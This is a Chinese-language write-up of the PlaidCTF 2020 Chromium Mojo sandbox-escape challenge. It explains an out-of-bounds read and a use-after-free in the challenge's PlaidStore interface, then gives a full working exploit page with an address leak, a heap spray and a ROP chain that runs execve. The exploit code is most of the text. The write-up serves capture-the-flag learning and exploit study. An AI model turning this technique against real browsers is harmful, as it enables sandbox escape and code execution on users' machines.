Plaid ctf 2020 的一道 chromium sandbox escape 题目,比较基础,适合入门, 题目文件可以在这里 下载, exp 参考来自这里
漏洞分析
题目写了一个plaidstore.mojom
文件,定义了PlaidStore
接口,有StoreData
和 GetData
两个函数
--- /dev/null
+++ b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom
@@ -0,0 +1,11 @@
+module blink.mojom;
+
+// This interface provides a data store
+interface PlaidStore {
+
+ // Stores data in the data store
+ StoreData(string key, array<uint8> data);
+
+ // Gets data from the data store
+ GetData(string key, uint32 count) => (array<uint8> data);
+};
可以用下面方式调用到这两个函数
p = blink.mojom.PlaidStore.getRemote(true);
p.storeData("aaaa",new Uint8Array(0x10));
p.getData("aaaa",0x200))
PlaidStoreImpl
有两个成员, render_frame_host_
保存当前的 RenderFrameHost
, 它用来描述网页本身,data_store_
用来存放数据。
+class PlaidStoreImpl : public blink::mojom::PlaidStore {
...
+ private:
+ RenderFrameHost* render_frame_host_;
+ std::map<std::string, std::vector<uint8_t> > data_store_;
+};
PlaidStoreImpl::StoreData
存入传入的data,这里data 是 uint8_t
类型,data_store_
是一个 vector 会自动给对应的key申请内存
+void PlaidStoreImpl::StoreData(
+ const std::string &key,
+ const std::vector<uint8_t> &data) {
+ if (!render_frame_host_->IsRenderFrameLive()) {
+ return;
+ }
+ data_store_[key] = data;
+}
+
PlaidStoreImpl::GetData
有两个参数,count
表示要返回的数量,如果调用p.getData("aaaa",0x200));
, 这个时候it
是key == "aaaa"
的时候保存的数据,结果会返回index在 [0,0x200)
返回的数据, 这里并没有对count做检查,假如执行 p.storeData("aaaa",new Uint8Array(0x100));p.getData("aaaa",0x200))
, 可以成功返回数据,于是这里就有了一个越界读,可以用来泄露数据。
+void PlaidStoreImpl::GetData(
+ const std::string &key,
+ uint32_t count,
+ GetDataCallback callback) {
+ if (!render_frame_host_->IsRenderFrameLive()) {
+ std::move(callback).Run({});
+ return;
+ }
+ auto it = data_store_.find(key);
+ if (it == data_store_.end()) {
+ std::move(callback).Run({});
+ return;
+ }
//[1]
+ std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
+ std::move(callback).Run(result);
+}
两个函数开头的处都会检查render_frame_host_->IsRenderFrameLive()
, 但是并没有检查render_frame_host_
是否可用,我们可以创建一个iframe
,内部执行 p = blink.mojom.PlaidStore.getRemote(true);
并返回给 parent
, 然后删除这个iframe
,这个时候render_frame_host_
被释放了,但是仍可以调用p.getData
和p.storeData
于是可以进行堆喷获取到被释放的render_frame_host_
, 改写其函数指针,然后在执行render_frame_host_->IsRenderFrameLive()
的时候就可以劫持控制流。
漏洞利用
通过前面的分析,现在有了地址泄露和uaf,后续的基本利用流程如下
- 1 泄露出 chrome 的基地址 => 获取gadget
- 2 添加
iframe
, 返回render_frame_host_
的地址和p
- 3 删除 iframe, 堆喷改写
iframe
的render_frame_host_
,写入gadget 代码执行
接下来一个一个看
调试
题目给出了Dockerfile
可以直接搞个Docker
来调试,这里我在ubuntu1804
下, 执行./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest
运行chrome
, 然后gdb attach
即可, 因为这里是调试 mojo代码,我们attach browser进程(第一个)
编写 exp, mojo_js.zip
解压到www
目录下, 这里我的exp 写在www/poc/e2xp.html
里面, 包含好对应的js
,然后启动web服务器就可以访问了
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: monospace;
}
</style>
</head>
<body>
<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
<script>
</script>
</body>
</html>
泄露 chrome 基地址
PlaidStore
对象创建的时候会分配内存, 可以想下面这样找函数的地址
chrome$ nm --demangle ./chrome |grep -i 'PlaidStoreImpl::Create'
0000000003c58490 t content::PlaidStoreImpl::Create(content::RenderFrameHost*, mojo::PendingReceiver<blink::mojom::PlaidStore>)
gdb 下查看 content::PlaidStoreImpl::Create
代码如下
push rbp
mov rbp,rsp
push r15
push r14
push rbx
sub rsp,0x38
mov r14,rsi
mov rbx,rdi
// PlaidStore 对象分配内存 ==> buffer64
mov edi,0x28
call 0x55555ac584b0 <operator new(unsigned long, std::nothrow_t const&)>
// rcx == vtable
lea rcx,[rip+0x635e2ec] # 0x55555f50a7a0 <vtable for content::PlaidStoreImpl+16>
// buffer64[0] = vtable
mov QWORD PTR [rax],rcx
// buffer64[1] = render_frame_host_
mov QWORD PTR [rax+0x8],rbx
lea rcx,[rax+0x18]
xorps xmm0,xmm0
movups XMMWORD PTR [rax+0x18],xmm0
所以如果执行
p.storeData("aaaa",Uint8Array(0x28));
blink.mojom.PlaidStore.getRemote(true)
那么Uint8Array
的backing store 和 PlaidStore对象很有可能会连续分配,多次执行上面代码,只要两者内存连续分配的手,就可以通过p.getData
泄露出vtable
和 render_frame_host_
的地址,通过vtable
即可计算出 chrome
的基地址。
内存泄露的代码如下
function show(msg){
document.body.innerHTML+=msg+"<br>";
}
async function main(){
var stores = [];
let p = blink.mojom.PlaidStore.getRemote(true);
for(let i=0;i<0x40;i++){
tmp=new Uint8Array(0x28);
tmp[0]=i;
tmp[1]=0x13;
tmp[2]=0x37;
tmp[3]=0x13;
tmp[4]=0x37;
tmp[5]=0x13;
tmp[6]=0x37;
tmp[7]=0x13;
await p.storeData("yeet"+i,tmp);
stores[i] = blink.mojom.PlaidStore.getRemote(true)
}
let chromeBase = 0;
let renderFrameHost = 0;
for(let i = 0;i<0x40&&chromeBase==0;i++){
let d = (await p.getData("yeet"+i,0x200)).data;
let u8 = new Uint8Array(d)
let u64 = new BigInt64Array(u8.buffer);
for(let j = 5;j<u64.length;j++){
let l = u64[j]&BigInt(0xf00000000000)
let h = u64[j]&BigInt(0x000000000fff)
if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
show(i.toString(16)+' '+j+' 0x'+u64[j].toString(16));
chromeBase = u64[j]-BigInt(0x9fb67a0);
renderFrameHost = u64[j+1];
break;
}
}
}
show("ChromeBase: 0x"+chromeBase.toString(16));
show("renderFrameHost: 0x"+renderFrameHost.toString(16));
return 0 ;
}
main();
执行后效果如图
构造 uaf
接下来是构造uaf
, 首先是var frame = document.createElement("iframe");
创建一个 iframe
, 然后frame.srcdoc
写入代码, 具体参考最后完整exp, 代码和前面 泄露地址一样,把iframe
里面的 render_frame_host_
地址泄露出来,然后把PlaidStore
对象和iframe
的 render_frame_host_
地址传递给 parent
, parent
执行document.body.removeChild(frame)
释放 iframe
,接下来堆喷尝试重新拿到被释放的render_frame_host_
的内存
RenderFrameHost
对象使用content::RenderFrameHostFactory::Create()
函数创建
chrome$ nm --demangle ./chrome |grep -i 'content::RenderFrameHostFactory::Create'
0000000003b219e0 t content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)
对应的代码如下,RenderFrameHost
对象的大小是0xc28
, 所以只需要喷一堆0xc28
大小的 ArrayBuffer
就有可能重新拿到被释放的对象
0x0000555559075a50 <+112>: jmp 0x555559075aca <content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::Fram
eTree*, content::FrameTreeNode*, int, int, bool)+234>
// new(0xc28)
0x0000555559075a52 <+114>: mov edi,0xc28
0x0000555559075a57 <+119>: call 0x55555ac584b0 <operator new(unsigned long, std::nothrow_t const&)>
0x0000555559075a5c <+124>: mov rdi,rax
0x0000555559075a5f <+127>: mov rax,QWORD PTR [r14]
0x0000555559075a62 <+130>: mov QWORD PTR [rbp-0x38],rax
0x0000555559075a66 <+134>: mov QWORD PTR [r14],0x0
0x0000555559075a6d <+141>: sub rsp,0x8
0x0000555559075a71 <+145>: movzx eax,BYTE PTR [rbp+0x20]
0x0000555559075a75 <+149>: lea rdx,[rbp-0x38]
0x0000555559075a79 <+153>: mov r14,rdi
0x0000555559075a7c <+156>: mov rsi,rbx
0x0000555559075a7f <+159>: mov rcx,r13
0x0000555559075a82 <+162>: mov r8,r12
0x0000555559075a85 <+165>: mov r9,r15
rop 代码执行
查看GetData
函数的汇编代码
0000000003c582b0 t content::PlaidStoreImpl::GetData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, unsigned int, base::OnceCallback<void (std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)>)
调用IsRenderFrameLive
基调用 vtable + 0x160
的位置, rax 保存 vtable
的值
0x00005555591ac2c7 <+23>: mov r14,rsi
0x00005555591ac2ca <+26>: mov rbx,rdi
0x00005555591ac2cd <+29>: mov rdi,QWORD PTR [rdi+0x8]// rdi == render_frame_host_
0x00005555591ac2d1 <+33>: mov rax,QWORD PTR [rdi] // rax ==> vtable
0x00005555591ac2d4 <+36>: call QWORD PTR [rax+0x160] // vtable+0x160 ==> IsRenderFrameLive
我们可以构造下面的内存布局
frame_addr => [0x00] : vtable ==> frame_addr + 0x10 ---
[0x08] : gadget => pop rdi |
/-- [0x10] : frame_addr + 0x180 <-----------------------
| [0x18] : gadget => pop rax |
| [0x20] : gadget => SYS_execve | vtable+0x10
| [0x28] : gadget => xor rsi, rsi; pop rbp; jmp rax |
| ... V
| [0x160 + 0x10] : xchg rax, rsp <= isRenderFrameLive
| [0x160 + 0x18] :
-> [0x180 ... ] : "/home/chrome/flag_printer"
这里将vtable -> isRenderFrameLive
处改成xchg rax, rsp
, 因为 rax
保存vtable
的地址, 所以rsp
变成了frame_addr + 0x10
的地址,继续执行,最终相当于执行 拿到flag
execve("/home/chrome/flag_printer",rsi,env);
完整exp
完整exp如下
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: monospace;
}
</style>
</head>
<body>
<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
<script>
function show(msg){
document.body.innerHTML+=msg+"<br>";
}
async function main(){
var stores = [];
let p = blink.mojom.PlaidStore.getRemote(true);
for(let i=0;i<0x40;i++){
tmp=new Uint8Array(0x28);
tmp[0]=i;
tmp[1]=0x13;
tmp[2]=0x37;
tmp[3]=0x13;
tmp[4]=0x37;
tmp[5]=0x13;
tmp[6]=0x37;
tmp[7]=0x13;
await p.storeData("yeet"+i,tmp);
stores[i] = blink.mojom.PlaidStore.getRemote(true)
}
let chromeBase = 0;
let renderFrameHost = 0;
for(let i = 0;i<0x40&&chromeBase==0;i++){
let d = (await p.getData("yeet"+i,0x200)).data;
let u8 = new Uint8Array(d)
let u64 = new BigInt64Array(u8.buffer);
for(let j = 5;j<u64.length;j++){
let l = u64[j]&BigInt(0xf00000000000)
let h = u64[j]&BigInt(0x000000000fff)
if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
show(i.toString(16)+' '+j+' 0x'+u64[j].toString(16));
chromeBase = u64[j]-BigInt(0x9fb67a0);
renderFrameHost = u64[j+1];
break;
}
}
}
show("ChromeBase: 0x"+chromeBase.toString(16));
show("renderFrameHost: 0x"+renderFrameHost.toString(16));
const kRenderFrameHostSize = 0xc28;
var frameData = new ArrayBuffer(kRenderFrameHostSize);
var frameData8 = new Uint8Array(frameData).fill(0x0);
var frameDataView = new DataView(frameData)
var ropChainView = new BigInt64Array(frameData,0x10);
frameDataView.setBigInt64(0x160+0x10,chromeBase + 0x880dee8n,true); //xchg rax, rsp
frameDataView.setBigInt64(0x180, 0x2f686f6d652f6368n,false);
frameDataView.setBigInt64(0x188, 0x726f6d652f666c61n,false);
frameDataView.setBigInt64(0x190, 0x675f7072696e7465n,false);// /home/chrome/flag_printer; big-endian
frameDataView.setBigInt64(0x198, 0x7200000000000000n,false);// /home/chrome/flag_printer; big-endian
ropChainView[0] = 0xdeadbeefn; // RIP rbp :<
ropChainView[1] = chromeBase + 0x2e4630fn; //pop rdi;
ropChainView[2] = 0x4141414141414141n; // frameaddr+0x180
ropChainView[3] = chromeBase + 0x2e651ddn; // pop rax;
ropChainView[4] = chromeBase + 0x9efca30n; // execve@plt
ropChainView[5] = chromeBase + 0x8d08a16n; // xor rsi, rsi; pop rbp; jmp rax
ropChainView[6] = 0xdeadbeefn; // rbp
//Constrait: rdx = 0; rdi pointed to ./flag_reader
var allocateFrame = () =>{
var frame = document.createElement("iframe");
frame.srcdoc=`<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
<script>
let p = blink.mojom.PlaidStore.getRemote(true);
window.p = p;
async function leak() {
//Same code with the one in pwn.js
var stores = [];
for(let i = 0;i< 0x40; i++ ){
await p.storeData("yeet"+i,new Uint8Array(0x28).fill(0x41));
stores[i] = blink.mojom.PlaidStore.getRemote(true);
}
let chromeBase = 0;
let renderFrameHost = 0;
for(let i = 0;i<0x40&&chromeBase==0;i++){
let d = (await p.getData("yeet"+i,0x200)).data;
let u8 = new Uint8Array(d)
let u64 = new BigInt64Array(u8.buffer);
for(let j = 5;j<u64.length;j++){
let l = u64[j]&BigInt(0xf00000000000)
let h = u64[j]&BigInt(0x000000000fff)
if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
chromeBase = u64[j]-BigInt(0x9fb67a0);
renderFrameHost = u64[j+1];
break;
}
}
}
window.chromeBase = chromeBase;
window.renderFrameHost = renderFrameHost;
window.p = p;
return chromeBase!=0&&renderFrameHost!=0;
}
</script>
`
frame.srcdoc=`
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script src="../mojo/public/js/mojo_bindings_lite.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>
<script>
var p = blink.mojom.PlaidStore.getRemote(true);
async function leak() {
//Same code with the one in pwn.js
console.log("Starting frame leak");
var stores = [];
for(let i = 0;i< 0x40; i++ ){
await p.storeData("yeet"+i,new Uint8Array(0x28).fill(0x41));
stores[i] = blink.mojom.PlaidStore.getRemote(true);
}
let chromeBase = 0;
let renderFrameHost = 0;
for(let i = 0;i<0x40&&chromeBase==0;i++){
let d = (await p.getData("yeet"+i,0x200)).data;
let u8 = new Uint8Array(d)
let u64 = new BigInt64Array(u8.buffer);
for(let j = 5;j<u64.length;j++){
let l = u64[j]&BigInt(0xf00000000000)
let h = u64[j]&BigInt(0x000000000fff)
if((l==BigInt(0x500000000000))&&h==BigInt(0x7a0)){
chromeBase = u64[j]-BigInt(0x9fb67a0);
renderFrameHost = u64[j+1];
break;
}
}
}
window.chromeBase = chromeBase;
window.renderFrameHost = renderFrameHost;
window.p = p;
return chromeBase!=0&&renderFrameHost!=0;
}
</script>
</body>
</html>
`
document.body.appendChild(frame);
return frame;
}
var frame = allocateFrame();
frame.contentWindow.addEventListener("DOMContentLoaded",async ()=>{
if(!(await frame.contentWindow.leak())){
show("frame leak failed!");
return;
}
if(frame.contentWindow.chromeBase!=chromeBase){
show("different chrome base!! wtf!")
return;
}
var frameAddr = frame.contentWindow.renderFrameHost;
// show(frameAddr.toString(16));
frameDataView.setBigInt64(0,frameAddr+0x10n,true); //vtable/ rax
ropChainView[2] = frameAddr + 0x180n;
var frameStore = frame.contentWindow.p;
document.body.removeChild(frame);
var arr = [];
for(let i = 0;i< 0x400;i++){
await p.storeData("bruh"+i,frameData8);
}
await frameStore.getData("yeet0",0);
});
}
main();
//document.addEventListener("DOMContentLoaded",()=>{main();});
</script>
</body>
</html>
reference
https://pwnfirstsear.ch/2020/04/20/plaidctf2020-mojo.html
https://github.com/A-0-E/writeups/tree/master/plaidctf-2020
https://gist.github.com/ujin5/5b9a2ce2ffaf8f4222fe7381f792cb38